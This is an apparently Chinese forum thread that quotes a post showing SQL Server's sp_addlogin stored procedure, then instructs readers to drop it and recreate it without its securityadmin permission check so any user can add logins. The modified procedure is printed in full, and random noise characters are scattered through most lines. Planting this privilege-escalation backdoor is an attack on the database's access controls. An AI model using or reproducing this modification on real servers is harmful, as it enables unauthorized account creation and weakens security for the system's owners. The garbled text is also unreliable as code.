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[B]以下是引用[I]冬冬[/I]在2005-6-17 13:32:03的发言：[/B][BR]create procedure sp_addlogin
, s* x4 M# p* v@loginame sysname
' z+ U. b L0 k4 ^5 r0 p/ G: m,@passwd sysname = Null
& W( o/ v0 h- x9 {: ^4 V p# m,@defdb ; ; sysname = \'master\' -- UNDONE: DEFAULT
. y* G: F7 K' c& {CONFIGURABLE???+ Y! i+ {0 [# m1 i; S
,@deflanguage sysname = Null- L! E/ D) v$ G9 H- h
,@sid varbinary(16) = Null7 B7 Q" H0 P, m. ^
,@encryptopt varchar(20) = Null, P' J7 a9 Y0 K! K" G: k4 `7 A
AS1 G2 q; _$ _+ _- N
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --7 M2 Q- a$ g" Y/ ^
set nocount on
/ P( z( A4 s; X) M. m1 jDeclare @ret int -- return value of sp call6 o3 H9 g3 W9 e4 t4 M
-- CHECK PERMISSIONS --% m! r6 }" ^( B- {: b: i
IF (not is_srvrolemember(\'securityadmin\') = 1)$ B; ]3 @! R1 u7 }# B5 F$ h
begin
9 ?5 l' \6 R) F* W2 [/ adbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
( M0 n; F( q' x8 p9 @" Braiserror(15247,-1,-1)6 }( I4 z. l4 E
return (1)9 q }3 z J3 ~; l
end
/ Z# `3 H, |1 x% o( FELSE. U9 Y$ w+ F) l' w% [6 s W
begin0 Q' @0 B$ d) f* ~6 i! B. o2 Y
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)& [2 r$ d6 F5 Y2 S @6 q. Z8 f) C
end
/ _! [9 E$ `1 h1 _6 j-- DISALLOW USER TRANSACTION --
* c7 v) k W8 U2 p1 n- @set implicit_transactions off
) l& j1 T) a! }IF (@@trancount > 0)! h G0 ? q4 h9 M
begin
0 Z) l3 G% b9 \# mraiserror(15002,-1,-1,\'sp_addlogin\')
c* i, c2 ?6 F7 S9 ireturn (1)
! |9 ^5 O! I9 F6 ^end
4 U# X4 p$ h) h- w7 |+ d& i9 h, l% _-- VALIDATE LOGIN NAME AS:
0 C3 b8 T* S3 ?- }# N& D" x; y-- (1) Valid SQL Name (SQL LOGIN)
, U! L/ p" A% h) J2 F-- (2) No backslash (NT users only)
& l( |: G8 R$ s) q* a-- (3) Not a reserved login name7 j9 C; b- P5 ^! b
execute @ret = sp_validname @loginame
% }8 [ h+ M# yif (@ret <> 0). }& {7 _' Z" W' a
return (1). `/ N: O9 y$ `4 H5 ^+ T
if (charindex(\'\\\', @loginame) > 0) v( c/ h, }1 R- \0 J
begin6 V6 b) a, C! i; f0 X
raiserror(15006,-1,-1,@loginame), R9 Z J( ]* e$ }
return (1)$ {. {# t; m" m7 X7 g2 I
end2 _. h1 ]1 ]( r* g. Y# u
--Note: different case sa is allowed.
0 G6 t: k" W: B* jif (@loginame = \'sa\' or lower(@loginame) in (\'public\'))
2 _" j$ m* p) v3 G: K k/ {begin/ D' M( S3 I! d5 W9 H2 }; P. g
raiserror(15405, -1 ,-1, @loginame)
% t8 V8 r: X' F1 s' `- ^1 P2 `return (1)
. ~5 x( q. A1 x3 }( ~end1 j8 A, V" Z) ]/ R- C
-- LOGIN NAME MUST NOT ALREADY EXIST --
. m% K! |9 ] {* [+ O2 Zif exists(select * from master.dbo.syslogins where loginname =
* k9 ]) U% f7 Q@loginame)
" y+ e; D4 Q7 t& r( Mbegin! z: A2 |+ T/ `3 o- {
raiserror(15025,-1,-1,@loginame)
% ~* b1 \7 n9 M6 [* u6 G. kreturn (1)- @- y$ v2 @% ^! _ S9 i
end8 [; }+ }7 m+ Z
-- VALIDATE DEFAULT DATABASE --- e7 D9 L3 S2 Y9 f) S$ E) [3 @2 A
IF db_id(@defdb) IS NULL
2 z& W: Y/ l6 w! p X' u! C6 {begin$ _1 N Q7 H( D
raiserror(15010,-1,-1,@defdb)
* b# ~! ]* I" P0 P' Y. `. O, b" {! ereturn (1)
y2 C1 r) d U3 \( g- mend5 a" R) v! D3 ?3 A# T
-- VALIDATE DEFAULT LANGUAGE --/ ~* p) z0 t, B
IF (@deflanguage IS NOT Null)
2 r9 E/ _7 j: o9 W& \begin
6 w+ W% s% [& c* g) ^- nExecute @ret = sp_validlang @deflanguage7 I8 L7 i4 T7 b5 J6 |- ~8 _: e; ^
IF (@ret <> 0)
& U" E, i4 L1 y: e9 y! @return (1): m: v+ W5 H- @6 \ S
end& g4 R% q- m% u9 c- x
ELSE2 k' P6 V, f6 L" o) V) M! L
begin
( n2 D7 `: W1 x: vselect @deflanguage = name from master.dbo.syslanguages( i" w7 r* t. ~& ~, Q
where langid = @@default_langid --server default
! B7 h! o4 N, x, G( wlanguage
9 t/ d7 {0 [ v# q% gif @deflanguage is null8 {; s! u+ j# N* _# M1 y. K
select @deflanguage = N\'us_english\'
' [: Y- q1 z) W2 n7 @9 X0 Wend' y& @5 R# n& Z! i1 k2 M
-- VALIDATE SID IF GIVEN --4 I( Y0 h/ D' x+ x1 E5 @
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))6 ^" \' \, V& u
begin$ B8 a2 A$ d' ]& k a
raiserror(15419,-1,-1)
; V0 @: v' t; ?* {7 R7 treturn (1)- c8 B+ ^% Z* m8 {; j1 Z+ ~* j
end$ O. O# j, _: f1 E/ Q
else if @sid is null
: s3 l( `" v' T2 W8 N1 h& d- P [" n+ Tselect @sid = newid()
" V0 K4 v4 d! ]; ?/ qif (suser_sname(@sid) IS NOT Null)
. B0 {- Z2 Y, S* ]0 Fbegin
8 F$ s. W% c+ w praiserror(15433,-1,-1)
+ R. y9 L& e7 \/ ~0 c1 Ereturn (1). t" B* m9 j. d3 w( k
end6 [/ ?: d% K/ S" B* q; ^3 a& L: v
-- VALIDATE AND USE ENCRYPTION OPTION --
7 P9 U$ F% `" P8 }* o- B: c* ^6 z6 Wdeclare @xstatus smallint: R/ Z. N) T- j( N. p, C
select @xstatus = 2 -- access
3 a8 z: R# y7 i, l# k- tif @encryptopt is null* [+ U: G+ }- H
select @passwd = pwdencrypt(@passwd)
& f g7 r' D& N8 X0 Selse if @encryptopt = \'skip_encryption_old\' h7 D' r/ M e5 `; k8 E
begin# o; [' C" A1 f% C: [ e3 a9 ?
select @xstatus = @xstatus | 0x800, -- old-style
, q8 I7 h5 i" O( a5 r- b( g, Mencryption' w( \4 J, `. c& U
@passwd = convert(sysname, convert(varbinary
- ^) b6 N( d. M# t. v(30), convert(varchar(30), @passwd)))
1 r% O- f9 e3 e4 {end
# o' o$ k/ w% x U% m5 q( welse if @encryptopt <> \'skip_encryption\'6 k9 x% T; n3 R: D
begin6 ?" y' F' @2 }' B6 F
raiserror(15600,-1,-1,\'sp_addlogin\')8 x! G3 \0 W9 `8 k
return 1$ r6 n2 i+ G: Y) P
end
. p9 V' a* J4 x! {; z+ t-- ATTEMPT THE INSERT OF THE NEW LOGIN --* O* m G9 l" k: u4 b. u
INSERT INTO master.dbo.sysxlogins VALUES; D n4 X1 M, W+ X
(NULL, @sid, @xstatus, getdate(),
0 d! [9 W( X5 Y& v) ]( s3 f getdate(), @loginame, convert(varbinary(256), @passwd),
- T7 {) R7 Z/ s X9 k1 O# J db_id(@defdb), @deflanguage)
' m( d, F, d9 O5 o* Q2 \' o) bif @@error <> 0 -- this indicates we saw duplicate row
6 N ]. ~! z* ~* h! w9 u- @, K return (1)
+ Q7 V. ~+ I+ Y% V-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
7 N# G3 _* }$ v1 X! @' P% mSYSLOGINS CHANGE --
/ I9 Q( H1 n' n& t! r; rexec(\'use master grant all to null\')
' `% q3 u3 |* h) P8 s$ D2 \-- FINALIZATION: RETURN SUCCESS/FAILURE --* Y. E1 l" g7 p- `3 I. j1 P
raiserror(15298,-1,-1). b6 K( G, n1 o- s2 H$ h G. O( T
return (0) -- sp_addlogin5 O8 s+ n; J0 Z6 G1 e
GO
$ {: ~; X3 {4 a2 E! z之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行
# c5 a, R9 X$ h8 C" J4 ^ A# msp_addlogin，主要是这里一段再搞鬼
/ L! x# K a. y2 P: [-- CHECK PERMISSIONS --
& `, f8 _0 T; v% mIF (not is_srvrolemember(\'securityadmin\') = 1)6 D' M- c# X! T1 Y
begin9 ^) L/ s" z. M: a6 n& I2 E
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)$ Z; e3 W2 G/ y! P$ B& Z1 r
raiserror(15247,-1,-1)
m; I# @9 m3 ]8 E* ?. n0 Yreturn (1)3 {- ?( m" {5 x0 q$ G/ e% C, G* ?* g
end
$ ~. a! O& V; J: z$ k5 AELSE
7 D1 s; r! N6 P7 P9 J* H6 pbegin
: f6 L' i6 x l2 k% idbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)
# ^- I. i( a; ]' Oend
0 Z9 J0 X! f# J7 W+ E" g5 _( }3 x2 V0 t- H+ J( w1 t
只要我们把这段代码删拉，任何权限的用户都可以增加用户拉。
" F Q$ @( ^* u' v+ }+ k6 S9 }drop procedure sp_addlogin
2 T) |+ D' v) u6 E- I. i
+ ^9 B( d8 V0 c! W6 O: o
$ j8 l. d. t# @
9 H- ^' X: C2 c1 H" @. v8 h1 V然后再来恢复sp_addlogin( {; @0 K. U& O# u+ L6 a
. |5 {: g( F' y6 K3 c# Q
. P- t$ S) \; A, y7 G. z# [
: y& R+ {- P: |create procedure sp_addlogin. p& g& l1 E( M$ X- X7 o* `1 y
@loginame sysname
, h; p% X! G' q,@passwd sysname = Null
: A3 A' A: @& I# g6 ~: i,@defdb ; ; sysname = \'master\' -- UNDONE: DEFAULT 3 P: o" F1 T2 ], q! ?- R
CONFIGURABLE???
5 V |% O) ]0 b# y6 E& f9 D3 j,@deflanguage sysname = Null+ M' |( A s7 }! X, ^1 ^3 H2 K
,@sid varbinary(16) = Null! ?, C7 K0 Q( A; {
,@encryptopt varchar(20) = Null+ t5 M% s1 j/ ?8 l
AS
7 W( O/ [8 A; Y3 p: s$ m-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --9 T! h+ M4 X) M* t2 M6 y, k
set nocount on; d/ J0 ~& S6 L6 W: \$ `
Declare @ret int -- return value of sp call
( O( m* E3 U5 P! [1 [0 j
A0 R5 S3 x" g! p2 k& `3 ]& ~-- DISALLOW USER TRANSACTION --( c+ I: j& V, P8 Y6 U: X8 @1 A
set implicit_transactions off
3 o- I" @" {* D3 c8 x/ GIF (@@trancount > 0)* N7 b* ^' T& H4 B7 w$ `
begin1 U6 X8 P# J I0 D9 W4 }% C
raiserror(15002,-1,-1,\'sp_addlogin\')
, K+ u: n9 j5 k4 H7 Ereturn (1)
, n- Z, j0 }. l* q- T5 U& @end
5 V) h5 M, ~* ]-- VALIDATE LOGIN NAME AS:/ E% X3 s [5 N6 E, j
-- (1) Valid SQL Name (SQL LOGIN)' I$ b$ k* w/ K x
-- (2) No backslash (NT users only)
7 X* l0 B* J7 r3 l* x( h-- (3) Not a reserved login name5 ]. Y* y+ m* ^; G0 q9 }% b# ~! e
execute @ret = sp_validname @loginame
; `+ r1 d) e, zif (@ret <> 0), y7 X: g p8 F8 l; h( d. t' u
return (1): j5 L" y% V: n, T
if (charindex(\'\\\', @loginame) > 0)
; T6 y% H* P) s& T9 ^begin
0 p8 I: E4 z1 p1 p) G1 C# m8 v raiserror(15006,-1,-1,@loginame)6 T! A7 B# Q* `0 w
return (1)3 F* v3 q+ W! D( {( j. Q0 Y: R
end
; q, O+ }. ^6 \--Note: different case sa is allowed.- R0 Z8 X& Q% D; B
if (@loginame = \'sa\' or lower(@loginame) in (\'public\')); `: G9 T. v9 g/ }
begin
1 ~ C! M0 Q. z% c. yraiserror(15405, -1 ,-1, @loginame)2 I4 l) T) s7 g) d' p% Q' z8 e# K
return (1)
9 N4 P5 A, _% l; ?4 zend
: W9 r6 \* u* H0 G" N-- LOGIN NAME MUST NOT ALREADY EXIST --+ ~# _( N9 }5 R% w
if exists(select * from master.dbo.syslogins where loginname =
+ V4 I: C, H. ?/ i) P2 i/ n@loginame)' B, g( n3 o4 q* G8 [1 k
begin
4 y* {. v2 z0 B7 ^- S# ^5 \0 Jraiserror(15025,-1,-1,@loginame)4 ] P* ~) {- m" z1 \
return (1)( O" \8 E: J* s/ M M
end4 Z! M9 O1 F, y+ Z. n% S+ h: j0 e$ s7 ?
-- VALIDATE DEFAULT DATABASE --! Q8 c( W% U% h/ V! R
IF db_id(@defdb) IS NULL( x4 g' r+ B% ~; _! v
begin
' W. _/ q; ]8 E/ l1 ]raiserror(15010,-1,-1,@defdb)
* [( F2 G3 \0 S9 Kreturn (1)
0 E3 n( C6 R8 Dend/ H) O Z% k& W# f+ e8 R
-- VALIDATE DEFAULT LANGUAGE --
& z. V2 \0 G* ]% k- lIF (@deflanguage IS NOT Null)
- e( {) {! J3 ?4 r1 nbegin
5 ] `# v/ [2 P& D2 Q& I8 D2 Z7 [Execute @ret = sp_validlang @deflanguage Z4 Y" H2 }* r$ ^! [9 y+ X/ L1 c) Q
IF (@ret <> 0)
. i& k _/ v- M7 a. D" t6 Xreturn (1)
}# F9 z% b* m9 j4 I$ q0 ]end
( i& n; ]- _+ r) Q# ?( B# S: h: WELSE$ G5 F( c' |) G, ]- o
begin8 n2 P0 S8 P; I, `
select @deflanguage = name from master.dbo.syslanguages2 ?3 R- G5 q$ ]+ B" N
where langid = @@default_langid --server default
m& m- Y1 P+ P8 I, ]1 nlanguage
v5 Y" c/ Q6 a7 _6 K; d7 Pif @deflanguage is null- r* E0 m5 Z h9 l
select @deflanguage = N\'us_english\'
2 R! c3 f' N0 U/ b- _2 send
$ e3 m0 o+ X2 a! }; ~1 a% Q9 ?1 ]/ I-- VALIDATE SID IF GIVEN --
+ J8 O4 W' H" }if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
* s* @/ l4 {- n$ c1 ybegin& x' i* `; c) @1 `7 Y3 j
raiserror(15419,-1,-1)
: L/ p; F' ~# Q! Wreturn (1): x$ v3 `) J- [4 n4 t
end) D* b* J( r% N# K: h. E7 L6 j$ {
else if @sid is null
5 y# T' @6 ]8 l5 q3 fselect @sid = newid()
4 B0 G3 @0 B/ F) ^1 Z; n: tif (suser_sname(@sid) IS NOT Null)! \' ?3 k1 f; w [4 w" ~" b
begin; L6 o$ K& M) _! x* @
raiserror(15433,-1,-1)( b# T7 p0 c- F0 x% y
return (1) _) L$ T1 S$ t# R! H
end& h0 x0 z6 z: ]5 B# C5 Z6 ?
-- VALIDATE AND USE ENCRYPTION OPTION --% }0 v! m# {, B9 d/ u
declare @xstatus smallint
% Z! ?. m- V& Q4 Y3 V% {- Pselect @xstatus = 2 -- access& x3 }: U- Y& u+ t1 P
if @encryptopt is null
- i6 P" S, w* s( ^0 b, Dselect @passwd = pwdencrypt(@passwd)
; x$ Z. S i) ^: C4 f( i! Qelse if @encryptopt = \'skip_encryption_old\'9 r& U s/ _- f2 a
begin! k/ C! u3 K, h$ V
select @xstatus = @xstatus | 0x800, -- old-style
( Z3 ?2 D, n, Y1 Lencryption4 A. p9 N; n' m8 z
@passwd = convert(sysname, convert(varbinary: J+ V* H+ Q' _. O s
(30), convert(varchar(30), @passwd)))
) V6 b( J0 x; M+ r4 l4 Qend) w4 Z: E. F5 Y1 Y; c
else if @encryptopt <> \'skip_encryption\'
' b& {4 N$ ~- A4 z4 i; @3 Rbegin
1 m# u, u9 Z* zraiserror(15600,-1,-1,\'sp_addlogin\')7 G/ N1 o& p: A, F# f5 e% V
return 1
+ f2 q4 |0 h% u% P/ y/ N4 _end7 M9 c: V8 b |/ F. }( D
-- ATTEMPT THE INSERT OF THE NEW LOGIN --
' l0 h7 t4 G& h( o- u& lINSERT INTO master.dbo.sysxlogins VALUES$ [- D/ E) R& o
(NULL, @sid, @xstatus, getdate(),
5 v0 l, Y ^# H. O. V. g/ S getdate(), @loginame, convert(varbinary(256), @passwd),
3 ?/ U: i5 ]: `& q+ O7 f db_id(@defdb), @deflanguage)) x6 o6 J: v' w
if @@error <> 0 -- this indicates we saw duplicate row
" X& |7 A) X. t8 }1 w+ |# d1 [4 @3 ] return (1)
8 b: n4 ]6 a* t8 x/ r" l3 ?-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE ) s+ m$ c0 G, Z% R
SYSLOGINS CHANGE --; Q7 k+ M" R0 B' P0 O
exec(\'use master grant all to null\')5 e* T, k5 R' D! s5 S
-- FINALIZATION: RETURN SUCCESS/FAILURE --+ a8 a5 R, H# w8 O( o
raiserror(15298,-1,-1)1 s) I' \, v8 u+ |3 r
return (0) -- sp_addlogin
7 @* D, O3 x: D, n2 ~. J; `GO
+ A* `. \0 a: gMM很强啊.. 是不是师院计算机系的.?? |
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